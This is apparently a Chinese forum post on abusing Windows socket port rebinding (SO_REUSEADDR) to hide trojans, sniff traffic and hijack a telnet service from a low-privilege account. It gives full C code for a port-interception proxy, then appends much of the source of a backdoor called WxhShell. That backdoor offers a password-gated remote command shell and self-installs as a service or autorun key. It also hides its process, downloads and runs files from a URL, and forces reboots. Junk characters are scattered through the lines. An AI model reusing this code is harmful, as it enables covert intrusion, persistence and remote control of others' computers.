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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f6Y-ss;'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I {%( G(  
]lE5^<<  
  saddr.sin_family = AF_INET; aSHN*tP%y  
1UB.2}/:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6ZjY-)h  
Tpkt'|8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G#uB%:)&0u  
jC?l :m?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b0se-#+  
3k8. 5W  
  这意味着什么?意味着可以进行如下的攻击: puEu)m^  
n}4q2x"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9~K+h/  
6vJ S"+ <  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [+}0K{(O=  
XJq]l6a:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jgkY^l  
SVV-zz]3M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /~+Fzz  
0Q cJ Ek  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nI+.De~  
@|'9nPern  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kKC] n   
 Sb)}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {sq:vu@NC  
a/%qn-i|p  
  #include evVxzU&  
  #include *F(<:3;2  
  #include ZHoYnp-~z  
  #include    ,&Zk63V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U2Ky4UFm  
  int main() .&>3nu  
  { >f|0# *  
  WORD wVersionRequested; {5+69&:G.  
  DWORD ret; O%&N6U  
  WSADATA wsaData; $"0`2C  
  BOOL val; 'S#^ 70kt  
  SOCKADDR_IN saddr; 2) 2:KX  
  SOCKADDR_IN scaddr; c <Q*g  
  int err; 7c@5tCcC-  
  SOCKET s; :kjs: 6f]  
  SOCKET sc; e\*(F3r  
  int caddsize; '?X?'_3  
  HANDLE mt; I0^oaccM  
  DWORD tid;   N7X(gh2h  
  wVersionRequested = MAKEWORD( 2, 2 ); ,hT**(W  
  err = WSAStartup( wVersionRequested, &wsaData ); ;2sP3!*  
  if ( err != 0 ) { KWi|7z(L=  
  printf("error!WSAStartup failed!\n"); %S>6Q^B  
  return -1; 'Ir   
  } (4rHy*6  
  saddr.sin_family = AF_INET; rj1%IzaXU^  
   |0_5iFAB|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RyWfoLc  
YnCuF0>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lfR}cx  
  saddr.sin_port = htons(23); :x?G [x=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w2r* $Q  
  { ,1v FX$  
  printf("error!socket failed!\n"); v Et+^3=  
  return -1; AthR|I|8  
  } ;^)4u  
  val = TRUE; ;L%\[H>G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;9Wimf]G,E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cBCC/n  
  { %8P6l D  
  printf("error!setsockopt failed!\n"); byZj7q5&Q  
  return -1; RE]*fRe7#  
  } GW.Y= S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]RF(0;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )}i2x:\|_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rDc$#  
c/(Dg$DbX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  (8 /&  
  { WaE%g   
  ret=GetLastError(); z`]:\j'O3"  
  printf("error!bind failed!\n"); N Zwi3  
  return -1; Ov.oyke4  
  } J*^ i=y  
  listen(s,2); pp >F)A0v  
  while(1) $?pfst~;O  
  { ykGA.wo7/P  
  caddsize = sizeof(scaddr); Ffd;aZ4n  
  //接受连接请求 ]XYD2fR2qA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Emk:@$3{r  
  if(sc!=INVALID_SOCKET) w`zS`+4  
  { UyDq`@h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aHNn!9#1  
  if(mt==NULL) E*+]Iq1u  
  { v,iq,p)&  
  printf("Thread Creat Failed!\n"); o$}$Z&LK  
  break; zzT4+wy`  
  } ,V;HM F.  
  } :n?rk/F  
  CloseHandle(mt); b~TTz`HZ  
  } A[:(#iR5-E  
  closesocket(s); ~cfvL*~5  
  WSACleanup(); \GGyz{i  
  return 0; W!* P  
  }   ;9vY5CxzC  
  DWORD WINAPI ClientThread(LPVOID lpParam) #aKUD  
  { JPg^h  
  SOCKET ss = (SOCKET)lpParam; \e%%ik,<  
  SOCKET sc; ]BmnE#n&  
  unsigned char buf[4096]; CUaL  
  SOCKADDR_IN saddr; $vn x)#r3  
  long num; #"[EVF0%1D  
  DWORD val; \+C0Rv^^  
  DWORD ret; R~RE21kAc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OA[fQH#{lX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5`::#[  
  saddr.sin_family = AF_INET; }=u#,nDl>$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?MvL}o\|  
  saddr.sin_port = htons(23); w@a|_?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k<rJm P{  
  { 6O*lZNN  
  printf("error!socket failed!\n"); 3u,B<  
  return -1; M L7vP  
  } +\>op,_9I  
  val = 100; Q>L.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @q{.shqo  
  { k#8E9/ t@  
  ret = GetLastError(); GB)< 5I  
  return -1; w)/~Gn676  
  } aT BFF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i\o * =+{r  
  { ZRFHs>0  
  ret = GetLastError(); 6E_YUk?KW  
  return -1; =(v'8?--  
  } zV"'-iP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <." @H<-`*  
  { LeNSjxB  
  printf("error!socket connect failed!\n"); m'uFj !  
  closesocket(sc); "@Qg]#]JH  
  closesocket(ss); +IlQZwm~  
  return -1;  gq} c  
  } IL"N_ux~w~  
  while(1) H,LJ$ py  
  { U~oGg$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0*AXd=)"*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9 {IDw   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q&LCMnv"P  
  num = recv(ss,buf,4096,0); ylQ9Su>o  
  if(num>0) NT9|``^Z  
  send(sc,buf,num,0); *thm)Mn  
  else if(num==0) J.c yb  
  break; @Z<Z//^k  
  num = recv(sc,buf,4096,0); XS.*CB_m_  
  if(num>0) Ss\FSEN!/  
  send(ss,buf,num,0); bP4}a!t+n  
  else if(num==0) 4"\%/kG  
  break; 9d!mGnl  
  } nt%p@e!,  
  closesocket(ss); Hv%$6,/*v  
  closesocket(sc); V$dhiP z  
  return 0 ; BW"24JhF"  
  } x]t$Zb/Uxa  
6S0Gjekr  
A!R'/m'VG  
========================================================== c Ze59  
Xc L%0%`  
下边附上一个代码,,WXhSHELL mo&9=TaG  
`^h:} V  
========================================================== q*cEosi'F?  
r^ABu_u(`I  
#include "stdafx.h" T*'WS!z  
wGx H  
#include <stdio.h> sFsf~|  
#include <string.h> Xx\,<8Xn  
#include <windows.h> e -b>   
#include <winsock2.h> s3 VD6xi7  
#include <winsvc.h> 2)-4?uz~  
#include <urlmon.h> ?MS!t6  
>oC{YYcK  
#pragma comment (lib, "Ws2_32.lib") `O0y8  
#pragma comment (lib, "urlmon.lib") d;{k,rP6  
O9AFQ)u   
#define MAX_USER   100 // 最大客户端连接数  , YlS  
#define BUF_SOCK   200 // sock buffer aDu[iaZ  
#define KEY_BUFF   255 // 输入 buffer n98sY+$-z  
~Bi%8G  
#define REBOOT     0   // 重启 YWL7.Y>%5  
#define SHUTDOWN   1   // 关机 8i)9ho<  
z|\n^ZK=  
#define DEF_PORT   5000 // 监听端口 #er% q:  
^1_CS*  
#define REG_LEN     16   // 注册表键长度 l \|sHn/  
#define SVC_LEN     80   // NT服务名长度 nwIj?(8x  
{.J<^V  
// 从dll定义API j-ob7(v)*]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $xjfW/k?M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PX`xr1o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *eI{g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (*AJ6BQWa  
"{zqXM}:C  
// wxhshell配置信息 ImbA2Gcs  
struct WSCFG { ;^|):x+O  
  int ws_port;         // 监听端口 "F4 3q8P  
  char ws_passstr[REG_LEN]; // 口令 ?-8DS5  
  int ws_autoins;       // 安装标记, 1=yes 0=no h.NCG96S  
  char ws_regname[REG_LEN]; // 注册表键名 po.QM/b \  
  char ws_svcname[REG_LEN]; // 服务名 D]N)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?TI]0)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U} w@,6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s_e*jM1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '%o^#gJp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *vq75k$7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,Z}ST|$u  
RL fQT_V  
}; /vu]ch  
q+cD  
// default Wxhshell configuration )g }G{9M^  
struct WSCFG wscfg={DEF_PORT, O- LwX >  
    "xuhuanlingzhe", M}q;\}  
    1, Y/T-q<ag8  
    "Wxhshell", PWkSl  
    "Wxhshell", zS h9`F  
            "WxhShell Service", *zW]IQ'A  
    "Wrsky Windows CmdShell Service", Ex skd}  
    "Please Input Your Password: ", .L]5,#2([  
  1, 9<3fH J?vq  
  "http://www.wrsky.com/wxhshell.exe", #zBqj;p  
  "Wxhshell.exe" u7j,Vc'~  
    }; $\bVu2&I  
VN'\c3;  
// 消息定义模块 S(CVkCP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g yhy0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \,r* -jr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0j 8`M"6  
char *msg_ws_ext="\n\rExit."; afzx?ekdF  
char *msg_ws_end="\n\rQuit."; ,t:P  
char *msg_ws_boot="\n\rReboot..."; Ge7B%p8  
char *msg_ws_poff="\n\rShutdown..."; W1Ye+vg/s  
char *msg_ws_down="\n\rSave to "; ,+I]\ZeO  
%s^1de  
char *msg_ws_err="\n\rErr!"; G;EJ\J6@Yw  
char *msg_ws_ok="\n\rOK!"; 23 #JmR  
o wb+,Gk(  
char ExeFile[MAX_PATH]; ^7Z;=]8J  
int nUser = 0; %b2Hm9r+  
HANDLE handles[MAX_USER]; RzzU+r  
int OsIsNt; ]E'?#z.t  
G?61P[j7  
SERVICE_STATUS       serviceStatus; {FS)f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #;?/fZjY  
[x]~G  
// 函数声明 Ih4$MG6QC  
int Install(void); P"]l/  
int Uninstall(void); gGx(mX._L?  
int DownloadFile(char *sURL, SOCKET wsh); {J,4g:4G  
int Boot(int flag); 6a_U[-a9;  
void HideProc(void); .GL@`7"  
int GetOsVer(void); oe0YxSauL  
int Wxhshell(SOCKET wsl); Z:es7<#y  
void TalkWithClient(void *cs); XXA]ukj;r  
int CmdShell(SOCKET sock); o=K9\l  
int StartFromService(void); ,np|KoG|M  
int StartWxhshell(LPSTR lpCmdLine); 5FF28C)>/  
V>GJO(9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?mSZQF:d@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q1rEUbvCE  
NL;sn"  
// 数据结构和表定义 `H$=hr  
SERVICE_TABLE_ENTRY DispatchTable[] = n&zEYCSI  
{ zufsmY4P  
{wscfg.ws_svcname, NTServiceMain}, h.KgHMV`  
{NULL, NULL} y,6kL2DM  
}; *[*q#b$j  
}xi?vAaTl  
// 自我安装 K<`W>2"  
int Install(void) _Hfpizm  
{ 5`gVziS!S  
  char svExeFile[MAX_PATH]; }V`_ (%Q-e  
  HKEY key; -Fu,oEj{*  
  strcpy(svExeFile,ExeFile); kM&-t&7  
$5&~gHc,  
// 如果是win9x系统,修改注册表设为自启动 T?6<1nU)  
if(!OsIsNt) { $#2<f 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FQ`1c[M@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Z;({a$v  
  RegCloseKey(key); -$I30.#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <r`;$K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q-uzu!  
  RegCloseKey(key); PAtv#)h  
  return 0; =&qH%S6  
    } >5"e<mwD7d  
  } E)f9`][  
} gA}<Y  
else { 4VwMl)8ic  
S]~5iO_bst  
// 如果是NT以上系统,安装为系统服务 b18f=<#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j3T)gFP  
if (schSCManager!=0) VmN7a6a  
{ P8|ANe1 v  
  SC_HANDLE schService = CreateService yFQaNuZPC  
  ( 4 2DMmwB   
  schSCManager, u/-EVCHr y  
  wscfg.ws_svcname, O8_! !Qd  
  wscfg.ws_svcdisp, l^B4.1rT  
  SERVICE_ALL_ACCESS, IYXN}M.=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;aX?K/  
  SERVICE_AUTO_START, \%.oi@A  
  SERVICE_ERROR_NORMAL, jYFmL_{  
  svExeFile, t u{~:Z(  
  NULL, #s15AyKz5  
  NULL, 3 H5  
  NULL, _)!*,\*`{  
  NULL, ?Tu=-ppw  
  NULL N-knhA  
  ); " zD9R4\X.  
  if (schService!=0) 0GeL">v,:=  
  { \AA9 m'BZ  
  CloseServiceHandle(schService); NH}o`x/  
  CloseServiceHandle(schSCManager); _>kc:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XMT@<'fI  
  strcat(svExeFile,wscfg.ws_svcname); y 5=r r3%v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "::2]3e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OdY9g2y#m  
  RegCloseKey(key); %dq%+yw{%m  
  return 0; F kf4R5Y?  
    } d|7LCW+HW  
  } &FT`z"^  
  CloseServiceHandle(schSCManager); D15-pz|Q  
} F ]Zg  
} ~>lqEa  
Bp5ra9*5+~  
return 1; 9+s&|XS*  
} YM'4=BlJHv  
l&e$:=;8  
// 自我卸载 3oH/34jj  
int Uninstall(void) 9&.md,U'  
{ qQG? k~r  
  HKEY key; 2;s[m3  
JoiGuZd>  
if(!OsIsNt) { ]&q<O0^'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \4G9YK-N>  
  RegDeleteValue(key,wscfg.ws_regname); (l-= /6-  
  RegCloseKey(key); /V/NL#(R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |3!)  
  RegDeleteValue(key,wscfg.ws_regname); ha=2isq  
  RegCloseKey(key); 2ww H3}  
  return 0; ryh"/lu[B  
  } ss-6b^  
} eA-oqolY  
} nK?S2/o#A  
else { C~@m6K  
|Rkw/5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K/f-9hE F  
if (schSCManager!=0) 5|K[WvG@Co  
{ "G.X=, V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Wv^{|^  
  if (schService!=0) Cb+$|Kg/"b  
  { .udLMS/_  
  if(DeleteService(schService)!=0) { >c<xy>N  
  CloseServiceHandle(schService); UdM2!f  
  CloseServiceHandle(schSCManager); ./Ek+p*96H  
  return 0; #G F.M,O/h  
  } 0 D '^:  
  CloseServiceHandle(schService); _8 0L/92  
  } bEQ-? X%7  
  CloseServiceHandle(schSCManager); c!7WRHJE_a  
} oe 6-F)+  
} ZCc23UwI  
6Z J-oT!.  
return 1; 7kE+9HmfMk  
} S\A0gOL^  
xRXvTNEg  
// 从指定url下载文件 m[3c,Axl7  
int DownloadFile(char *sURL, SOCKET wsh) 83/m^^F{]  
{ _u$DcA8B  
  HRESULT hr; "B (?|r%  
char seps[]= "/"; 3.BUWMD  
char *token; 37a1O>A  
char *file; z+6PVQ  
char myURL[MAX_PATH]; A-=hvJ5T  
char myFILE[MAX_PATH]; Xnjl {`  
[w@S/K[_|  
strcpy(myURL,sURL); GU2TQx{V  
  token=strtok(myURL,seps); MQN~I^v3  
  while(token!=NULL) J@_^]  
  { _",(!(  
    file=token; L@6]~[JvP  
  token=strtok(NULL,seps); KhB775  
  } eUB!sR%  
"49dsKIOH  
GetCurrentDirectory(MAX_PATH,myFILE); {%9@{Q'T.s  
strcat(myFILE, "\\"); vCJa%}  
strcat(myFILE, file); ny1O- `!1  
  send(wsh,myFILE,strlen(myFILE),0); md'wre3  
send(wsh,"...",3,0); a@W9\b@I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \ Voly  
  if(hr==S_OK) 0q-lyVZ^X  
return 0; 7>O`UT<t4@  
else 8uLS7\,$z  
return 1; o)@nnqa  
kG!hqj  
} xlwf @XW  
T:{r*zLSN  
// 系统电源模块 [(#)9/3,  
int Boot(int flag) # M/n\em"X  
{ Wd)\r.pJ  
  HANDLE hToken; $Uy+]9  
  TOKEN_PRIVILEGES tkp; ^?""'1iuQx  
U{oM*[  
  if(OsIsNt) { X5J)1rL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tf]ou5|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a7ZufB/  
    tkp.PrivilegeCount = 1; sZ&|omN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S8/~'<out  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JP6 Noia  
if(flag==REBOOT) { A~a 3bCX+"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mKO~`Wq%@  
  return 0; [5p9p1@u{C  
} j0{`7n  
else { H2: Zda#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <af# C2`B  
  return 0; ,v8e7T  
} |w*s:p  
  } Fd<Ouyxqe  
  else { mL`8COA  
if(flag==REBOOT) { ,IboPh&Q78  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |LQ%sV  
  return 0; ]j/= x2p  
} H6 x  
else { T&pCLvkz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oydP}X  
  return 0; =&UE67eK,  
} JnK<:]LcK  
} ^"?a)KC  
{q8|/{;  
return 1; :+jg311}  
} `&q+ f+z  
{u1|`=;  
// win9x进程隐藏模块 Lr*PbjQDIY  
void HideProc(void) :K2 X~Ty  
{ $#D#ezvxe  
~"`e9Im  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hjg1By(  
  if ( hKernel != NULL ) .p e3L7g  
  { Q34u>VkdQI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gF)-Ci  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `f~bnL  
    FreeLibrary(hKernel); j`.&4.7+  
  } f]%S FQ+  
G2I%^.s  
return; _%2ukuJ `  
} &57~i=A 3  
uVU)LOx  
// 获取操作系统版本 7MrHu2rZ=  
int GetOsVer(void) ma*#*4  
{ A ~vx,|I  
  OSVERSIONINFO winfo; e Fz$h2*B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4_QfM}Fyp  
  GetVersionEx(&winfo); t.;._'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =T2SJ)  
  return 1; aanS^t0  
  else @B >D>B  
  return 0; 7_s+7x =  
} B(s^(__]  
8TB|Y  
// 客户端句柄模块 m"Mj3Z:  
int Wxhshell(SOCKET wsl) r4iNX+h?V  
{ V||b%Cb1g  
  SOCKET wsh; zx\-He  
  struct sockaddr_in client; de W1>yh^_  
  DWORD myID; ]FVJQS2h  
)YEAk@h@  
  while(nUser<MAX_USER) W>w(|3\  
{ EL3X8H  
  int nSize=sizeof(client); `(?c4oq,c>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v4|TQ8!wR  
  if(wsh==INVALID_SOCKET) return 1; $nmt&lm  
+jB;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _w?!Mu  
if(handles[nUser]==0) bv]SR_Tiq  
  closesocket(wsh); nrev!h  
else ^ fC2o%3^  
  nUser++; zKJQel5  
  } <CO_JWD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l59\Lo:  
Z9M$*Zp  
  return 0; )Hin{~h  
} rMIX{K)'f  
[UzacXt  
// 关闭 socket B6IKD  
void CloseIt(SOCKET wsh) nm<VcCc  
{ AzJ;E tR  
closesocket(wsh); o[Qb/ 7  
nUser--; GP4!t~"1  
ExitThread(0); r?[[.zm"7  
} e'$[PF  
qQ)1+^  
// 客户端请求句柄 -|}?+W  
void TalkWithClient(void *cs) 9rz$c, Y(  
{ 'q:7PkN!p  
LRu*%3xx  
  SOCKET wsh=(SOCKET)cs; yKj}l,i~8  
  char pwd[SVC_LEN]; +zche  
  char cmd[KEY_BUFF]; %eofG]VM<  
char chr[1]; /Lr`Aka5  
int i,j; *)w+xWmM3w  
%Jh( 5  
  while (nUser < MAX_USER) { *Lz'<=DLoW  
H:hM(m0?q  
if(wscfg.ws_passstr) { D mi.@.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z HZxr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , 2#Q >  
  //ZeroMemory(pwd,KEY_BUFF); dO z|CfUhI  
      i=0; E]n]_{BN]  
  while(i<SVC_LEN) { HEFgEYlO  
T8g\_m  
  // 设置超时 O6?{@l  
  fd_set FdRead; /# Jvt  
  struct timeval TimeOut; ,h1\PT9ULY  
  FD_ZERO(&FdRead); /77cjesZ9  
  FD_SET(wsh,&FdRead); p : z ][I  
  TimeOut.tv_sec=8; ~x9J&*zxM  
  TimeOut.tv_usec=0; K:< Viz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |(W wh$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qgl-,3GY%N  
M/.M~/ ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xa'U_]m  
  pwd=chr[0]; \PT!mbB?  
  if(chr[0]==0xd || chr[0]==0xa) { \i,H1a  
  pwd=0; WGA&Lr  
  break; 7Dssr [  
  } Wf "$  
  i++; "4WnDd 5"  
    } E<-W & a}  
S[9b I&C  
  // 如果是非法用户,关闭 socket .?g=mh79(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @BnK C&{  
} VFZyWX@#u  
A3 TR'BFw-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1WqCezI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Xp<O  
jbe:"S tw  
while(1) { $H3C/|  
N9d^;6;i  
  ZeroMemory(cmd,KEY_BUFF); `UzH *w@e  
CZ] Dm4  
      // 自动支持客户端 telnet标准   D +0il=5  
  j=0; \ CcVk"/  
  while(j<KEY_BUFF) { NMw5ixl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {}'Jr1  
  cmd[j]=chr[0]; ,)\G<q yO6  
  if(chr[0]==0xa || chr[0]==0xd) { AFsieJ  
  cmd[j]=0; 6@# =z  
  break; +|S)Mm8-  
  } BR@gJ(2  
  j++; LC=M{\  
    }  K%%Ow  
3`SH-"{j%  
  // 下载文件 %jj-\Gz!  
  if(strstr(cmd,"http://")) { )ZLj2H<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *$VeR(QN  
  if(DownloadFile(cmd,wsh)) '.pGkXyQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]5*H/8Ke7  
  else -ys/I,}<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #gWok'ZcR  
  } rLD1Cpeb,w  
  else { @~$=96^  
KMb'm+  
    switch(cmd[0]) { n@kJ1ee'  
  `r=^{Y  
  // 帮助 GfP'  
  case '?': { }3Ke  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &=%M("IlD  
    break; py~[M'p(H  
  } A`vRUl,c=  
  // 安装 mg70%=qM0f  
  case 'i': { 7w5l[a/  
    if(Install()) /;q 3Q#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m>[G-~0?kI  
    else "\9 beK:l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h }&dvd  
    break; $i8oLSRV  
    } mDwuJf8}  
  // 卸载 ^Bw"+6d  
  case 'r': { 2" v{  
    if(Uninstall()) P%w!4v ~"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FDBNKQV  
    else 5A %TpJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3,#qt}8`  
    break; *6_>/!ywI  
    } J +Y?'"r  
  // 显示 wxhshell 所在路径 .Q</0*sp  
  case 'p': { =y?Aeqq\fl  
    char svExeFile[MAX_PATH]; |l|$ Q;  
    strcpy(svExeFile,"\n\r"); Y.52`s6F  
      strcat(svExeFile,ExeFile); ,Wd+&|Q  
        send(wsh,svExeFile,strlen(svExeFile),0); KxJDAP  
    break; qw|B-lT{:  
    } *&_(kq z'1  
  // 重启 ?v+el,  
  case 'b': { #cJ1Jj $  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #; P-*P  
    if(Boot(REBOOT)) [4])\q^q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZS&+<kGD  
    else { ,k:>Z&:  
    closesocket(wsh); D#>d+X$  
    ExitThread(0); T%PUV \LV  
    } HXB & 6  
    break; KpQ@cc  
    } T}'*Gry  
  // 关机 d<cQYI4V  
  case 'd': { |mw3v>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oBPm^ob4  
